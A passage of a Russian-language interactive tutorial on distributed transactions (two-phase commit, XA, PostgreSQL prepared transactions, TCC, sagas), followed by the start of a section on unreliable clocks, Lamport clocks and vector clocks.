Работа сделана, а PREPARE всё не приходит. До голосования участник вправе отменить сам — по своему таймауту. Если потом придёт PREPARE, он ответит «НЕТ».
Ответ не дошёл
Голос «ДА» потерялся в сети. Для координатора это молчание, а молчание = «НЕТ»: подождав, он решит ABORT. Участнику придётся дождаться этой команды — ведь сам он уже сказал «ДА».
Весь протокол на одном секвенсе
Анна жмёт «Оплатить». Пройдите по стрелкам. Фаза 1 — шаги 2–9, фаза 2 — дальше. Время указано для одного дата-центра.
Что лежит на диске у каждого после фазы 1
| Кто | В журнале на диске | Что заперто | Что он вправе делать |
|---|---|---|---|
| Кошелёк | T1: anna 12 000 → 7 010 T1: PREPARED | строка счёта anna | только ждать COMMIT или ABORT |
| Склад | T1: Бег-42/38 резерв +1 T1: PREPARED | строка остатка Бег-42/38 | только ждать |
| Заказы | T1: INSERT заказ №1042 T1: PREPARED | новая строка заказа и её ключ | только ждать |
| Координатор | T1 начата, участники: К, С, З | ничего | решить: все «ДА» → COMMIT, иначе ABORT |
глава 4 · фаза 2 решение, точка невозврата и восстановление по журналам
Координатор собрал голоса. Дальше — вторая фаза. Она короче, но именно в ней прячутся самые неприятные сбои.
fsync.С этой секунды транзакция зафиксирована — логически, для всего мира, хотя ни один участник об этом ещё не знает.Восстановление: что каждый делает после перезапуска
Весь смысл журналов — в том, что после любого падения узел читает свой журнал и точно знает, что делать дальше. Вот полная таблица правил.
| Кто поднялся | Что нашёл в журнале | Что делает | Почему так можно |
|---|---|---|---|
| Участник | нет записи PREPARED | откатывает транзакцию сам, молча | он не голосовал «ДА» — никто не рассчитывает на его обещание; координатор без голоса решит ABORT |
| PREPARED, а исхода нет | восстанавливает черновик, снова ставит блокировки, спрашивает координатора «как решили?» и ждёт | он обещал; решение мог принять только координатор | |
| COMMIT или ABORT | ничего: транзакция завершена; если координатор повторит COMMIT — ответит ACK | исход уже применён | |
| Координатор | «T1 начата», решения нет | решает ABORT и сообщает участникам | точка невозврата не пройдена; ни один участник не мог получить COMMIT |
| РЕШЕНИЕ = COMMIT, «конца» нет | рассылает COMMIT снова всем, кто не подтвердил | решение принято; его надо довести | |
| «T1: конец» | ничего | все всё знают |
Две частые оптимизации
Участник «только читал» (read-only)
Если участник в этой транзакции ничего не менял, на PREPARE он отвечает «я только читал» и выходит из игры: во второй фазе его не спрашивают, и замки он отпускает сразу. В стандарте XA это ответ XA_RDONLY.
Участник один (one-phase commit)
Если в транзакции оказался всего один ресурс, голосовать не с кем — координатор сразу командует COMMIT одной фазой. Менеджеры транзакций делают это сами, поэтому «распределённая» транзакция с одной базой стоит почти как обычная.
глава 5 · пульт двухфазный коммит, который можно ломать
Это живая модель оплаты Анны. Слева — координатор, справа — три участника. По линиям летят сообщения. У каждого узла видно состояние, журнал на диске и замок на строке с таймером: сколько секунд строка недоступна другим покупателям.
Выберите сценарий и нажмите «▶ Запустить». Потом пробуйте сами: роняйте узлы кнопкой 💥 в любой момент, теряйте сообщения, перезапускайте упавших кнопкой 🔄 — и смотрите, как узел восстанавливается по журналу.
Журнал событий
глава 6 · атлас сбоев семь поломок по очереди: кто ждёт и что заперто
В 2PC есть всего несколько мест, где что-то может сломаться, и для каждого протокол знает ответ. Разберём их по порядку — от безобидных к самым неприятным. У каждого случая есть кнопка «проиграть на пульте».
Секвенс: участник говорит «НЕТ»
Самый мирный из сбоев. Склад обнаружил, что последнюю пару только что купили.
Секвенс: координатор упал после записи решения
А это — тот самый случай, из-за которого 2PC называют блокирующим.
А нельзя ли спросить соседей?
Можно, и это частично помогает. Если участники знают друг друга, сомнительный Склад может спросить Кошелёк и Заказы. Такой приём называют кооперативным завершением (cooperative termination).
✅ Сосед знает исход
Кошелёк уже получил COMMIT → значит, решение COMMIT, Склад может фиксировать. Кошелёк получил ABORT → отменяем. Кошелёк ещё не голосовал → координатор точно не мог решить COMMIT, отменяем.
❌ Все живые — тоже «подготовлены»
Кошелёк и Заказы сами сказали «ДА» и решения не знают. Тогда не знает никто, кроме лежащего координатора. Ждём. Именно этот случай и делает 2PC блокирующим — и никакие хитрости внутри 2PC его не убирают.
Эвристика: когда ждать больше нельзя
В стандарте XA на такие случаи есть специальные ответы участника: «я уже зафиксировал сам» (XA_HEURCOM), «я уже откатил сам» (XA_HEURRB) и самый неприятный — «часть зафиксирована, часть откачена» (XA_HEURMIX). Получив их, менеджер транзакций не может ничего исправить: он только сообщает о расхождении, и дальше его разбирают люди.
глава 7 · цена задержка, замки, доступность: посчитайте сами
2PC честно даёт атомарность. Платим за неё четырьмя вещами. Посчитаем каждую на ползунках.
Четыре статьи расходов
⏱ Задержка
Минимум два круга по сети (PREPARE → голос, COMMIT → ACK) и две-три принудительные записи на диск вместо одной. В одном дата-центре это миллисекунды. Между регионами — десятки и сотни. И ждём всегда самого медленного участника: чем их больше, тем чаще хоть один «тормозит».
🔒 Блокировки
Всё, что трогала транзакция, заперто от начала работы до конца второй фазы. На «горячей» строке (последняя пара в распродажу, общий счёт) транзакции выстраиваются в очередь: если замок держится 10 мс, через одну строку пройдёт не больше 100 оплат в секунду. А при падении координатора замок держится до его возвращения.
📉 Доступность
Оплата проходит, только если живы все участники и координатор. Доступности перемножаются: четыре узла по 99,9 % дают около 99,6 %, то есть почти 3 часа простоя в месяц вместо 43 минут. Отказ любого участника останавливает все операции, где он нужен.
🎯 Координатор — точка отказа
Пока он лежит, сомнительные транзакции не разрешаются. Его журнал — самое ценное место системы: потерять диск координатора = потерять знание, какие транзакции были зафиксированы. Поэтому его нужно резервировать не хуже самой ценной базы.
глава 8 · 3PC трёхфазный коммит: лекарство от ожидания, которое не прижилось
Главная беда 2PC — ожидание, если координатор упал в неудачный момент. В 1981 году Дейл Скин (Dale Skeen) предложил, как от него избавиться: добавить между голосованием и фиксацией ещё одну фазу.
Почему третья фаза снимает ожидание
В 2PC сомнительный участник не знает, что решил координатор: COMMIT и ABORT одинаково возможны. В 3PC состояние «предфиксация» несёт знание: «все проголосовали “да”». А DoCommit рассылается только после того, как все подтвердили предфиксацию. Отсюда правило для оставшихся в живых, если координатор пропал:
Проиграйте оба протокола в двух ситуациях. Сначала «падает координатор» — 3PC выигрывает. Потом «разрыв сети» — 3PC проигрывает, причём хуже, чем 2PC.
Почему 3PC почти не используют
Разрыв сети
При разделе сети 3PC может зафиксировать транзакцию в одной половине и отменить в другой. 2PC в той же ситуации просто ждёт — медленно, но честно. Для денег «честно ждать» лучше, чем «быстро разойтись».
Ещё один круг
Три фазы — это минимум три круга по сети вместо двух и дольше удерживаемые блокировки. Цену платим всегда, а выигрываем только в редком случае падения координатора.
Есть решение лучше
Проблема «координатор упал» решается иначе: сделать координатора не одним сервером, а группой, которая договаривается большинством голосов (консенсус). Так и работают современные распределённые базы — глава 10.
глава 9 · XA и PostgreSQL как 2PC выглядит в настоящих базах
Чтобы менеджер транзакций мог командовать базами разных производителей, нужен общий язык. Его придумали в 1991 году.
| Функция XA | Что значит | Шаг 2PC |
|---|---|---|
xa_start / xa_end | привязать работу в этом соединении к глобальной транзакции с идентификатором Xid (глобальная часть + номер ветки) | работа |
xa_prepare | подготовиться; ответ XA_OK = «ДА», XA_RDONLY = «я только читал», ошибка = «НЕТ» | фаза 1 |
xa_commit / xa_rollback | зафиксировать или откатить подготовленную ветку; у xa_commit есть флаг «одной фазой» для случая с одним участником | фаза 2 |
xa_recover | «покажи все подготовленные и не завершённые ветки» — этим менеджер транзакций пользуется после перезапуска | восстановление |
xa_forget | забыть ветку, по которой участник принял эвристическое решение | после эвристики |
☕ В Java: JTA
Jakarta Transactions (JTA, раньше — Java Transaction API) — стандартный интерфейс к менеджеру транзакций: UserTransaction, TransactionManager, аннотация @Transactional. Базы и JMS-брокеры подключаются через XAResource. Менеджеры транзакций — например, Narayana (в WildFly и Quarkus) и Atomikos. С ними одна аннотация действительно охватывает две XA-базы.
🗄 Кто умеет быть участником
PostgreSQL (PREPARE TRANSACTION), MySQL/InnoDB (XA START … XA PREPARE … XA COMMIT, список зависших — XA RECOVER), Oracle, SQL Server (через MSDTC), IBM Db2; из брокеров — классические JMS-брокеры вроде IBM MQ и ActiveMQ Artemis.
PostgreSQL: оплата Анны построчно
В PostgreSQL сам координатор не встроен — есть только роль участника. Координатором будет наш сервис (или менеджер транзакций в нём). Пройдите по шагам: две базы, «Кошелёк» и «Склад», каждая на своём сервере.
Почему забытая подготовленная транзакция опасна
🔒 Замки навсегда
Подготовленная транзакция держит все свои блокировки, и они переживают перезапуск сервера. Строка счёта Анны заперта, пока кто-то не выполнит COMMIT PREPARED или ROLLBACK PREPARED. Ждать может неделю.
🧹 VACUUM не может убрать мусор
Пока висит старая подготовленная транзакция, база обязана хранить старые версии строк, которые она теоретически может увидеть. Таблицы пухнут, запросы замедляются. В крайнем случае, как предупреждает документация, база остановится, чтобы не допустить переполнения счётчика транзакций (transaction ID wraparound).
🎫 Слоты кончаются
Их ровно max_prepared_transactions. Забытые занимают места, и однажды новый PREPARE TRANSACTION получит ошибку «достигнуто максимальное число подготовленных транзакций».
🙈 Их не видно в обычных местах
У подготовленной транзакции нет соединения: в pg_stat_activity её нет. Смотреть надо в pg_prepared_xacts. Поэтому документация советует держать max_prepared_transactions = 0, если нет внешнего менеджера транзакций, который за ними следит.
-- мониторинг: подготовленные транзакции старше 5 минут — повод для тревоги SELECT gid, database, owner, prepared, now() - prepared AS age FROM pg_prepared_xacts WHERE prepared < now() - interval '5 minutes' ORDER BY prepared;
Почему брокеры и облака XA обычно не поддерживают
| Кто | XA? | Почему так |
|---|---|---|
| Kafka | нет | У Kafka свои транзакции — атомарная запись в несколько разделов и тем внутри самой Kafka. Участвовать во внешнем 2PC она не умеет. Предложение об этом (KIP-939) сообщество приняло, но его реализация шла медленно — проверяйте для своей версии. |
| RabbitMQ | нет | Очередь рассчитана на быстрый поток сообщений; держать сообщения в «подготовленном» состоянии неограниченно долго и восстанавливать их по журналу она не умеет. |
| HTTP-сервисы, платёжные шлюзы, SaaS | нет | У HTTP нет понятия «подготовиться и ждать». Чужой сервис не будет держать у себя ваши блокировки, пока ваш координатор перезагружается. |
| Облачные очереди и NoSQL (SQS, Pub/Sub, DynamoDB, MongoDB) | нет | У многих есть свои транзакции внутри одного сервиса, но не XA. Облако обслуживает тысячи клиентов: сомнительная транзакция одного клиента не должна запирать ресурсы для остальных на неопределённое время. |
| Реляционные базы, IBM MQ, ActiveMQ Artemis | да | Исторически жили в корпоративных системах с менеджером транзакций, где 2PC между базой и очередью был стандартной практикой. |
глава 10 · 2PC на консенсусе как это делают Spanner, CockroachDB, YugabyteDB и TiDB
Если 2PC такой проблемный, почему современные распределённые базы дают настоящие транзакции на много узлов? Потому что они используют тот же 2PC, но убирают его главную слабость: ни координатор, ни участник у них не один сервер.
Как работает консенсус и выборы лидера — в разделе , как копии догоняют друг друга — в . Здесь важно одно следствие: пока жив кворум (большинство копий) группы, группа жива. Упал один узел — через несколько секунд выбран новый лидер, и у него на диске есть всё, что было подтверждено.
Проиграйте одну и ту же аварию — «сгорел сервер, на котором был координатор» — в классическом 2PC и в 2PC на консенсусе.
Как это устроено у конкретных систем
Google Spanner
Данные разбиты на части, каждая — группа Paxos. Транзакция на несколько групп идёт через 2PC: одна из групп-участников становится координатором, а записи «подготовлено» и «решение» проходят через Paxos своих групп. Порядок транзакций задают часы TrueTime: они возвращают не «точное время», а интервал с гарантированной погрешностью. Перед тем как объявить COMMIT, Spanner ждёт, пока погрешность пройдёт (commit wait). По данным Google, погрешность TrueTime меньше 1 мс в 99 % случаев, и обычно это ожидание прячется внутри репликации.
CockroachDB
Каждый диапазон ключей — группа Raft. Транзакция оставляет на ключах «намерения» (write intents), а её статус хранится в записи о транзакции (transaction record), тоже реплицированной Raft. Если узел, который вёл транзакцию, пропал, другие узлы, наткнувшись на намерения, проверяют запись о транзакции и доводят или отменяют её сами. Приём parallel commits (с версии 19.2) пишет статус «STAGING» параллельно с последними изменениями и сокращает фиксацию с двух раундов консенсуса до одного.
YugabyteDB
Таблицы разбиты на таблеты — группы Raft. Изменения распределённой транзакции сначала пишутся как временные записи (provisional records), а её статус — в отдельный таблет статусов транзакций, тоже реплицированный. Фиксация = смена статуса в этом таблете одной записью через Raft.
TiDB / TiKV
Модель по мотивам Google Percolator. Время выдаёт центральный сервис PD (timestamp oracle). Фаза 1 — prewrite: на все ключи ставятся замки, один ключ назначается главным (primary). Фаза 2 — фиксация главного ключа: это и есть точка невозврата; остальные ключи дофиксируются следом, а читатели, встретив замок, смотрят на главный ключ. Всё хранится в TiKV — группах Raft. С версии 5.0 есть оптимизации async commit и 1PC.
40001), и код приложения должен уметь повторять. Поэтому их проектируют так, чтобы данные одной транзакции лежали рядом: в одном регионе, в одном диапазоне ключей.глава 11 · TCC попросить придержать: Try — Confirm — Cancel
Анна купила кроссовки и собралась на забег в Казань. Через сервис «Поездки» она бронирует гостиницу и билет на поезд. Гостиница и железная дорога — чужие компании со своими API. Никакого XA у них нет и не будет. Но им и не нужно держать блокировки базы: у них есть понятная бизнес-операция — придержать.
Чем TCC отличается от 2PC и от саги
От 2PC
«Подготовка» — это не замок в базе, а бизнес-состояние «в резерве», записанное обычной короткой локальной транзакцией. База ничего не держит. И у резерва есть срок: участник не обязан ждать координатора вечно.
От саги
Сага сначала делает по-настоящему (списала, продала), а при неудаче компенсирует. TCC сначала только резервирует. Поэтому никто не увидит «номер продан, а потом возвращён» — только «номер придержан».
Цена
Каждый участник должен уметь три операции вместо одной и хранить статус резерва. А ещё переживать повторы, опоздания и перепутанный порядок сообщений — три ловушки ниже.
Правила, без которых TCC ломается
Проиграйте шесть сценариев. Переключатель «защита» включает у участников журнал TCC — таблицу, где по номеру транзакции записан её статус. Выключите защиту в сценариях 4–6 и посмотрите, что сломается.
Журнал TCC у участника: одна таблица против трёх ловушек
Все три ловушки лечатся одинаково: участник хранит по каждой транзакции строку со статусом и меняет её в той же локальной транзакции, что и бизнес-данные. Так делают готовые фреймворки: в Seata это таблица tcc_fence_log (с версии 1.5.1), в DTM — «барьер подтранзакций».
-- Cancel у сервиса билетов (упрощённо, одна локальная транзакция)
BEGIN;
INSERT INTO tcc_log (tx_id, status) VALUES ('T7', 'CANCELLED_BEFORE_TRY')
ON CONFLICT (tx_id) DO NOTHING; -- строки не было → пустая отмена:
-- запомнили «отменено до Try», и всё
UPDATE tcc_log SET status = 'CANCELLED'
WHERE tx_id = 'T7' AND status = 'TRIED'; -- 1 строка → Try был, резерв надо снять
UPDATE seats SET state = 'free', tx_id = NULL
WHERE tx_id = 'T7' AND state = 'held'; -- найдёт место, только если Try его брал
COMMIT; -- ответ OK в любом случае: и при повторе,
-- когда статус уже был CANCELLED
-- Try: если по T7 уже есть строка (например, CANCELLED_BEFORE_TRY) — отклонить.
-- Это и есть защита от подвешивания.
| Пришло | Что в журнале | Что делать |
|---|---|---|
| Try | ничего | зарезервировать, записать TRIED |
| Try | CANCELLED или CANCELLED_BEFORE_TRY | отклонить — защита от подвешивания |
| Confirm | TRIED | подтвердить, записать CONFIRMED |
| Confirm | CONFIRMED | ответить OK, ничего не делать — идемпотентность |
| Cancel | TRIED | снять резерв, записать CANCELLED |
| Cancel | ничего | записать CANCELLED_BEFORE_TRY, ответить OK — пустая отмена |
| Cancel | CANCELLED | ответить OK — идемпотентность |
Секвенс: TCC с повтором Confirm
глава 12 · без общей транзакции сага, резерв, outbox и перекройка границ
Чаще всего лучшая распределённая транзакция — та, которой нет. Вот четыре пути, которыми команды обходятся без неё. Каждый подробно разобран в своём разделе — здесь главное, чтобы видеть их рядом с 2PC.
🔗 Сага
Цепочка локальных транзакций: каждая фиксируется сразу. Если шаг не удался, для предыдущих выполняются компенсации — новые действия, отменяющие старые (вернуть деньги, вернуть товар). Промежуточные состояния видны всем: Анна может увидеть «оплачено», а через секунду — «отменено, деньги вернутся».
Из жизни: отпуск. Забронировали отель, купили билет, рейс отменили — звоните в отель и отменяете бронь отдельно.
📥 Резервирование и эскроу
Вместо блокировки строки на время всей операции — перенос количества в отдельную «корзину»: free − 1, reserved + 1 одной короткой локальной транзакцией. Параллельные покупки не ждут замка, они видят, сколько осталось свободным. Идея известна как эскроу-транзакции (escrow): часть ресурса «откладывается» под операцию. Это основа Try в TCC.
Из жизни: продавщица откладывает вам платье «под прилавок» до вечера — остальные платья на вешалке продаются как обычно.
📤 Outbox и идемпотентные потребители
Если второе действие должно просто обязательно случиться потом (начислить бонусы, отправить письмо, обновить поиск), не нужна никакая общая транзакция. Изменение и событие о нём пишутся в одну базу одной локальной транзакцией, отдельный процесс доставляет событие. Получатель обрабатывает повторы безопасно — хранит номера уже обработанных сообщений.
Из жизни: заказное письмо с уведомлением: почта доставит, а если принесёт уведомление дважды — вы не оплатите покупку второй раз.
✂ Одна база на операцию
Самый недооценённый путь — перекроить границы. Если «Кошелёк» и «Заказы» всегда меняются вместе, возможно, это одна бизнес-сущность, разрезанная зря. Перенесите данные так, чтобы операция жила в одной базе, — и вернётся обычная ACID-транзакция: быстрая, строгая и бесплатная.
Из жизни: если к каждому заказу вы едете в два разных склада, возможно, пора хранить эти товары на одном.
Что увидит Анна, если Склад откажет, — при разных подходах
| Подход | Что видит Анна | Деньги Анны | Что делает система |
|---|---|---|---|
| «Просто по очереди» | ошибку | списаны, заказа нет | ничего; разбирается поддержка |
| 2PC | ошибку сразу | не списывались ни на миг | ABORT у всех; до решения строки были заперты |
| TCC | ошибку через доли секунды | были заблокированы (резерв), блокировка снята | Cancel у всех, кто успел Try |
| Сага | «оплачено», затем «отменено, деньги вернутся» | списаны и возвращены — две строки в выписке | компенсация: возврат денег |
| Outbox | зависит от того, что было первым шагом | outbox не отменяет — он только доставляет | повторяет доставку, пока получатель не примет |
глава 13 · выбор сравнение подходов, дерево решений и требования
Сравнительная таблица
Нажмите на строку — раскроется пояснение.
Дерево решений: какой подход взять
Отвечайте на вопросы про свою операцию. Порядок вопросов не случаен: сначала ищем способ обойтись без распределённой транзакции вовсе.
Как это звучит в требованиях аналитика
Аналитик Олег не пишет «использовать 2PC». Он пишет, какую гарантию получает бизнес, сколько может длиться промежуточное состояние и что делать, когда что-то зависло. Выбор механизма — следствие этих строк.
Списание средств, резерв товара и создание заказа выполняются как одна операция: ни при каком сбое клиент не должен остаться со списанными средствами без созданного заказа дольше 60 секунд.
Допускается, что в течение не более 30 секунд после оплаты заказ отображается в статусе «Оформляется». Остаток товара на витрине может отставать от склада не более чем на 1 минуту.
Если резерв товара не подтверждён, резерв снимается автоматически через 15 минут, а заблокированные средства возвращаются на баланс клиента не позднее чем через 1 минуту после снятия резерва. В истории операций клиента отражаются и блокировка, и её снятие.
Повторный вызов подтверждения или отмены с тем же идентификатором операции возвращает прежний результат и не изменяет данные. Отмена операции, по которой не было резерва, завершается успешно.
99,9 % операций оплаты завершаются (успехом или отменой) за 5 секунд. Операции в промежуточном статусе дольше 10 минут попадают в отчёт «Зависшие операции», дежурный получает оповещение.
Для операций, не завершённых за 24 часа, есть экран ручного разбора с действиями «Довести» и «Отменить». Каждое ручное решение записывается в журнал аудита с указанием сотрудника и причины. Ручное решение по сомнительной транзакции 2PC согласуется с владельцами всех затронутых систем.
Вопросы, которые Олег задаёт команде
- Что будет, если упасть посередине? Для каждого шага: какие данные уже изменены и кто их вернёт.
- Сколько может длиться «наполовину»? Секунды, минуты, сутки? Кто это видит и что ему показать?
- Что заперто и насколько? Какие ресурсы нельзя продать или изменить, пока операция думает, и есть ли у этого срок.
- Все ли участники умеют то, что от них требуется? XA, три API для TCC, компенсацию — или это чужой API, который умеет только «сделать».
- Как узнать о зависшей операции раньше клиента? Метрика, оповещение, отчёт.
- Кто и по какому регламенту решает вручную? И как потом сверить данные.
Тренажёр: выберите подход под ситуацию
Решено 0 из 0.
глава 14 · проверь себя частые ошибки и вопросы
Частые ошибки
Нажмите на пункт — откроется, как это выглядит и что делать вместо этого.
Вопросы
Решено 0 из 0.
У распределённой системы нет общих часов. Поэтому на вопрос «что было раньше?» нет простого ответа. У каждого сервера свои часы, и все они немного врут. Пока сервер один, этого не видно. Когда серверов два, неверные часы тихо теряют покупки, путают статусы заказов и портят отчёты. Раздел проведёт одна история «Ботинка»: два склада, два сервера, один остаток кроссовок — и вопрос «кто был первым?».
зачем это зачем аналитику думать о часах и порядке
карта раздела одна история, четырнадцать глав
Главы идут по порядку: каждая опирается на предыдущую. Нажмите на главу, чтобы перейти к ней. Живые модели — в главах 3, 4, 8, 9, 10 и 11.
глава 1 · завязка «кто был первым?»: два сервера и один остаток
«Ботинок» вырос. Теперь у него два склада — в Москве и в Казани — и два сервера приложений, А и Б. Покупатель попадает на любой из них: так решает балансировщик. Остатки товара лежат в общей базе.
Модель «Air 42»: осталось 3 пары. В 12:00:00.000 Анна нажимает «Купить». Её обслуживает сервер А. Он читает остаток, вычитает одну пару и записывает «2». Через 40 миллисекунд Борис нажимает «Купить». Его обслуживает сервер Б. Тот читает остаток — уже 2 — и записывает «1».
Всё честно: Борис видел результат Анны и действовал после неё. Но база устроена по простому правилу: «из двух записей побеждает та, у которой метка времени позже». Метку ставит сервер — по своим часам. А часы сервера Б отстают на 100 миллисекунд. Пройдите историю по шагам.
Разберём слова, на которых держится вся глава.
2026-09-30T12:00:00.000Z. Метка говорит, сколько показывали эти часы, а не сколько было на самом деле.Три вопроса раздела
1. Можно ли верить часам?
Главы 2–3. Нет. Разберём, насколько они врут, почему, и что из-за этого ломается. Потрогаем поломку руками.
2. Как упорядочить без часов?
Главы 4–8. Логические часы, векторы, версии, порядок сообщений. Способы сказать «что было раньше», не спрашивая время.
3. Как жить со временем в данных?
Главы 9–13. Потоки событий, идентификаторы, UTC и часовые пояса, формулировки требований.
глава 2 · почему почему часы врут
Кажется, что время в компьютере точное: там же электроника. Но у каждого сервера свои часы, и они расходятся. Разберём по шагам, откуда берётся ошибка.
Шаг 1. Кристалл, который колеблется «почти» ровно
В каждом сервере есть кварцевый генератор — крошечный кристалл, который колеблется с почти постоянной частотой. Компьютер считает колебания и так узнаёт, сколько прошло времени. Ключевое слово — «почти». Частота зависит от температуры, возраста и конкретного экземпляра кристалла.
Для серверов Google в статье о базе Spanner закладывает худший случай в 200 ppm. Это примерно 17 секунд в сутки, если часы никто не подводит. Поэтому часы подводят постоянно.
Шаг 2. NTP подводит часы — но тоже неточно
Беда в том, что ответ идёт по сети. Сервер знает, сколько длился путь «туда и обратно», но не знает, как он поделился: может, туда шло 1 мс, а обратно 9. Поэтому NTP ошибается на величину этой несимметричности. В хорошей локальной сети — доли миллисекунды. Через интернет — обычно единицы и десятки миллисекунд. А если эталон недоступен, часы просто дрейфуют дальше.
Ещё важнее — как NTP исправляет ошибку. Небольшое расхождение исправляется плавно: часы чуть ускоряют или замедляют ход (это называют slew). Большое — скачком (step): часы сразу переставляют. У классического ntpd порог скачка — 128 мс. Скачок может быть и назад: было 12:00:05, стало 12:00:03. Для программы это значит, что время пошло вспять.
Посчитайте сами: насколько разойдутся два сервера
Шаг 3. Лишняя секунда и её «размазывание»
Программы не ждут секунды с номером 60. 30 июня 2012 года из-за ошибки в ядре Linux многие Java-сервисы после високосной секунды загрузили процессоры до предела — пострадали Reddit, Mozilla и другие. 1 января 2017 года у Cloudflare часть DNS-серверов упала: код вычел один момент времени из другого, получил отрицательное число и сломался.
Шаг 4. Паузы: процесс уснул и не заметил
Бывает, что процесс просто останавливается и не знает об этом. Виртуальную машину на секунды замораживают при переезде на другой физический сервер (живая миграция). Сборщик мусора в Java останавливает все потоки программы (stop-the-world). Ноутбук закрыли, а через час открыли. Для программы это выглядит так: одна строчка кода, следующая строчка — а между ними прошло 15 секунд.
Пример. Сервис списаний взял блокировку «я один правлю остаток» на 10 секунд. Проверил: «блокировка моя, осталось 8 секунд». Уснул на 15 секунд в сборке мусора. Проснулся — и записал. Хотя блокировка давно истекла и её получил другой. Время, которое сервис «видел», и настоящее время разошлись.
Заметьте: защитились мы не часами, а растущим номером. Эта мысль будет возвращаться весь раздел. Про блокировки с арендой и выборы лидера — в разделе .
Шаг 5. Два вида часов: стенные и секундомер
🕰 Стенные часы (wall clock)
Показывают дату и время суток. Их можно переводить: NTP, человек, високосная секунда. Поэтому они могут прыгнуть назад.
Для чего: момент, который увидит человек или который сохраняется в данных — «заказ создан в 12:00:03 UTC».
System.currentTimeMillis() · Date.now() · time.time() · CLOCK_REALTIME
⏱ Монотонные часы (monotonic clock)
Счётчик «сколько прошло с какого-то момента», обычно с загрузки. Никогда не идёт назад. Само значение ничего не значит, а разница двух показаний — точная длительность.
Для чего: таймауты, паузы между повторами, замер «сколько длился запрос».
System.nanoTime() · performance.now() · time.monotonic() · CLOCK_MONOTONIC
Вот что бывает, если мерить таймаут по стенным часам. Пройдите по шагам.
time.Now() несёт и монотонное показание, и разница двух таких значений считается по нему.глава 3 · живая модель «часы врут»: как теряется запись и как её спасти
LWW очень популярно: оно простое и не требует координации. Так по умолчанию разрешает конфликты Cassandra (по меткам времени записей), так работают глобальные таблицы DynamoDB при записи в нескольких регионах. Им пользуются и самописные системы: «при синхронизации берём запись с бо́льшим updated_at».
Ниже — модель из главы 1. Двигайте ползунки и жмите «▶ Прогнать». Потом переключите правило базы: вместо часов — номер версии или векторные часы.
Настоящее время и метки: где порядок переворачивается
Почему версия спасает, а часы — нет
⏰ LWW по часам
Сравнивает то, что показывали часы. Если разница между событиями меньше разбега часов, порядок может перевернуться. Одновременные изменения LWW вообще не замечает: одно выигрывает, другое пропадает.
#️⃣ Номер версии
Запись говорит: «я меняю версию 2». Если в базе уже версия 3 — запись отклоняется, клиент перечитывает и повторяет. Часы не участвуют. Работает, когда есть одно место, которое проверяет версию.
🧭 Векторные часы
Каждая версия несёт «кто что видел». База понимает: запись Бориса учитывает запись Анны — значит, новее. Или не учитывает — значит, конфликт, храним обе. Работает и без одного главного места.
-- сервер Б прочитал: qty = 2, version = 2 UPDATE stock SET qty = 1, version = 3 WHERE sku = 'air-42' AND version = 2; -- «если никто не успел раньше» -- обновлено 1 строка → успех -- обновлено 0 строк → кто-то успел: перечитать и повторить
В HTTP-интерфейсах то же самое делают заголовками: сервер отдаёт версию в ETag, клиент присылает её в If-Match. Если версия устарела, сервер отвечает 412 Precondition Failed.
Где версии и конфликты живут в репликации, разобрано в разделе . Какие гарантии чтения бывают — в .
глава 4 · причинность «произошло-до»: порядок без часов
Если часам верить нельзя, что тогда вообще значит «раньше»? В 1978 году Лесли Лэмпорт предложил ответ, на котором до сих пор стоит вся теория распределённых систем. «Раньше» — это «могло повлиять». Не «показывали меньше часы», а «информация о первом событии могла дойти до второго».
- Один процесс: a и b случились на одном сервере, и a было раньше в его очереди дел. Тогда a → b.
- Сообщение: a — отправка письма, b — получение этого письма. Тогда a → b.
- Цепочка: если a → b и b → c, то a → c.
Отсюда главный вывод раздела: порядок — это про информацию, а не про часы. Если сервер Б прочитал результат сервера А, его запись — «после», даже если часы Б показывают меньше. В главе 3 LWW ошибся именно здесь: он сравнил часы вместо того, чтобы спросить «кто что видел».
Постройте свою переписку
Три участника: склады в Москве и Казани и сервис заказов. Выберите, кто действует, и добавляйте события и письма. Письмо сначала «в пути» (пунктир), пока получатель не нажмёт «Получить». Потом нажмите на любое событие: схема покажет его прошлое, будущее и конкурентов. Нажмите на второе — и узнаете, как они связаны.
глава 5 · логические часы часы Лэмпорта: счётчик вместо времени
Как поставить на события числа так, чтобы они не спорили с причинностью? Лэмпорт предложил не спрашивать время вовсе, а вести простой счётчик.
- Перед каждым своим событием (и перед отправкой письма тоже) — прибавить 1.
- Отправляя письмо, положить в него текущее значение счётчика.
- Получив письмо с меткой m, поставить счётчик в max(свой, m) + 1.
Пройдите по шагам. Следите, как метка «подтягивается» при получении письма.
Что дают часы Лэмпорта
Гарантию: если a → b, то L(a) < L(b). Причина всегда получает меньшее число, чем следствие.
Полный порядок: если метки равны, добавим номер участника: (L, узел). Тогда все события выстроятся в одну линию, одинаковую у всех, и эта линия не спорит с причинностью.
Дёшево: одно число на событие и на письмо.
Чего они не дают
Не отличают конкурентные: L(a) < L(b) не значит, что a повлияло на b. Может, они вообще не знали друг о друге.
Не связаны с реальным временем: нельзя спросить «что было в 12:00».
Не видят пропусков: по метке 7 не понять, сколько событий было у других.
В чистом виде часы Лэмпорта живут в алгоритмах. А сама идея — счётчик, который никогда не идёт назад и подтягивается по чужим меткам — встречается везде. Номер срока (term) в Raft его авторы прямо называют логическими часами. Маркеры ограждения из главы 2, номера версий из главы 3, смещения (offset) в журнале Kafka, номер позиции в журнале базы (LSN) — всё это родственники.
глава 6 · векторные часы кто что видел: векторы и корзина Dynamo
Одно число не может сказать «эти двое не знали друг о друге». Значит, нужно больше чисел: по одному на каждого участника.
- Перед своим событием — прибавить 1 в своей ячейке.
- Отправляя письмо, положить в него весь вектор.
- Получив письмо — взять поэлементный максимум своего вектора и вектора письма, затем прибавить 1 в своей ячейке.
- V(a) ≤ V(b) и они не равны → a → b: b знал всё, что знал a, и ещё что-то.
- V(b) ≤ V(a) и не равны → b → a.
- Ни то, ни другое → a ∥ b, конкурентные. Каждый знал что-то, чего не знал другой.
Сравните векторы сами
Меняйте ячейки кнопками. Порядок ячеек: Москва, Казань, Заказы.
История из жизни: корзина Amazon Dynamo
В 2007 году Amazon описала в статье хранилище Dynamo. Корзина покупателя хранилась на нескольких узлах сразу, и записать изменение мог любой из них — даже если связь между узлами порвалась. Главное требование бизнеса: «положить в корзину» должно работать всегда. Версии корзины Dynamo помечал векторными часами. Смотрите, что из этого вышло.
Цена векторов: они растут
В векторе ячейка на каждого участника. Если участники — тысячи телефонов, вектор раздувается. Поэтому на практике делают так:
Вектор версий
Version vector — ячейки не по всем процессам, а по репликам, где хранятся данные. Их обычно 3–5. Вектор ставится на версию записи, а не на каждое событие. Именно так в основном и делают хранилища.
Усечение
